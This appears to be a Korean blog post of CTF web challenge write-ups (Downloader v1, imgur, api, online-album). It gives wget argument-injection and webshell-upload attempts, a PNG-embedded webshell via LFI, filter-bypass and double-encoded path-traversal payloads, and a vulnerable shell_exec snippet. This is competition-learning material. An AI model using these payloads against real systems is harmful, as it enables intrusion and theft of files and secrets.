Downloader v1
들어가보면 url 입력하는 기능하나가 있다. default로 박힌 값을 입력해보면 아래와 같은 에러가 뜨는걸 볼 수 있다.
cd uploads/5d7623f3880b62ddb90e13f31a558
$ wget http://example.com/image.jpg 2>&1
--2019-09-09 10:05:39-- http://example.com/image.jpg
Resolving example.com (example.com)... 93.184.216.34, 2606:2800:220:1:248:1893:25c8:1946
Connecting to example.com (example.com)|93.184.216.34|:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2019-09-09 10:05:39 ERROR 404: Not Found.
$ bash -c 'rm uploads/5d7623f3880b62ddb90e13f31a558/*.{php,pht,phtml,php4,php5,php6,php7}'
인풋이 wget의 url 인자로 들어가는데 \n , ; , | , & , ` , $ 등 죄다 막혀있다. 그리고 추가로 php 실행 확장자면 삭제하길래 웹쉘 올리면 되는건가 싶어서 http://my_ip/webshell.txt -O /var/www/html/uploads/이전의생성된디렉토리/webshell.php 이런식으로해서 php 올리고 실행해보니까 실행이 안됬다. 뭐지 하다가 커멘드 인젝션은 안되도 wget 옵션이랑 인자는 줄 수 있으니까 쓸만한거 있나보다가 --input-file 요거 사용해서 flag.php 읽었을 때 도메인에러 나게해서 플래그를 구했다.
payload = http://example.com/image.jpg --input-file='../../flag.php'
imgur
문제에 들어가보면 일단 lfi가 터진다. 그래서 웹쉘을 아무렇게나 올리고 땡겨주면 된다.
뭐 땡길까 보다가 일단 업로드 기능이 있었다.
프로필 사진을 변경할 때 아래와 같이 i.imgur.com이란 도메인에 존재하는 파일 내용을 가져와서 업로드를 한다.
https://imgur.dctfq19.def.camp/index.php?page=profile&setpicture=https://i.imgur.com/W4a51sL.jpg
이 때 setpicture 파라미터 값에 대해서 도메인이랑 확장자 검증을 하는데 이게 우회가 안된다.
그래서 해당 사이트에 직접 웹쉘이 박힌 이미지 파일을 올려야 되는데 그냥 대충 이미지 파일에 웹쉘 넣어서 올리면 안되길래
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
요고 참고해서 웹쉘 박아서 올렸다.
그다음엔 그냥 i.imgur.com에 올린 웹쉘가지고 프로필 사진 업로드한담에 lif로 땡겨주면 쉘 딸수있고 플래그 찾아주면 된다.
api
문제 서버가 닫혔는데 대충 기억해보면 ///etc/passwd였나 이런식으로 요청해주면 file download가 된다.
이걸로 소스 쭉쭉 긁어오면
if(urlParts[0]) {
switch(urlParts[0]) {
case 'getconfig':
functions.getConfigFromVault(request, response);
break;
case 'proxy':
functions.getProxy(request, response);
break;
default:
new doRequest(request, response);
break;
}
} else {
new doRequest(request, response);
}
getProxy: function(request, response) {
this.getRequestFields(request, global.config, function(fields) {
if(!fields || !fields.url) {
response.end('Invalid fields.');
}
if(fields.url.indexOf('get_secret') !== -1 || fields.url.indexOf('/') !== -1) {
response.end("Invalid request");
return;
}
fields.url = Buffer.from(fields.url.toLowerCase(), "latin1").toString();
var options = {
host: global.config.PROXY,
port: 2222,
path: fields.url
};
http.get(options, function(rresponse) {
var body = '';
rresponse.on('data', function(chunk) {
body += chunk;
});
rresponse.on('end', function() {
response.end(body);
});
}).on('error', function(e) {
response.end("Got error: " + e.message);
});
});
},
요런 코드가 있다.
getproxy?=/get_secret/key 요런식으로 요청해주면 되는데 /랑 get_sercert를 필터한다. get_sercret같은 경우 검증한 담에 lowercase해줘서 get_secreT 이런식으로 써줌 되고 /같은 경우 필터 후에 Buffer.from(fields.url.toLowerCase(), "latin1").toString(); 요 작업을 거치기 땜에 %c4%af 요 값으로 bypass해주면 된다.
그리고 key같은 경우 ///proc/self/environ 파일 내용 확인해보면 존재한다.
payload = %c4%afget_secreT%c4%aff0af17449a83681de22db7ce16672f16f37131bec0022371d4ace5d1854301e0
online-album
이건 풀려고보니까 대회가 끝나서 문제를 못봤었는데, 대회 종료 후에도 서버가 계속 열려있길래 한번 풀어봤다.
문제에 들어가보면 다운로드 기능이 있는데 경로를 아래와 같은 형태로 url double encoding해주면 파일 다운로드가 가능하다.
/download/%25%32%65%25%32%65%25%32%66.env
이걸로 .env읽어서 app_key따고 cve나온걸로 rce해봤는데 패치 버전인지 잘 안됬다.
그래서 좀 헤매다 기능중에 주석에] 파일 목록들을 base64인코딩해서 뿌려주는 기능이 있었다.
/album/cars
<!-- Debug:
MS5qcGVn.5d7896147325e
Mi5qcGVn.5d78961473265
My5qcGVn.5d78961473268
NC5qcGVn.5d7896147326b
NS5qcGVn.5d7896147326e
-->
다운로드 할때처럼 url double 인코딩해주면 다른 경로 디렉토리 리스팅이 가능해서 이걸로 플래그 파일을 찾아봤는데 도저히 안보였다.
그래서 일단 소스를 쭉쭉 다운로드 받다보니 auto_logout 기능 수행 시 command injection이 가능했다.
public function auto_logout(Request $request)
{
Auth::logout();
//delete file after logout
$cmd = 'rm "'.storage_path().'/framework/sessions/'.escapeshellarg($request->logut_token).'"';
shell_exec($cmd);
}
'CTF > Writeup' 카테고리의 다른 글
InCTF 2019 Web Write up (0) | 2019.09.23 |
---|---|
CSAW CTF 2019 Web Write up (0) | 2019.09.16 |
2019 사이버작전 경연대회 THE CAMP (0) | 2019.08.17 |
DEF CON CTF Qualifier 2019 vitor (0) | 2019.07.15 |
DEF CON CTF Qualifier 2019 veryandroidso (0) | 2019.07.10 |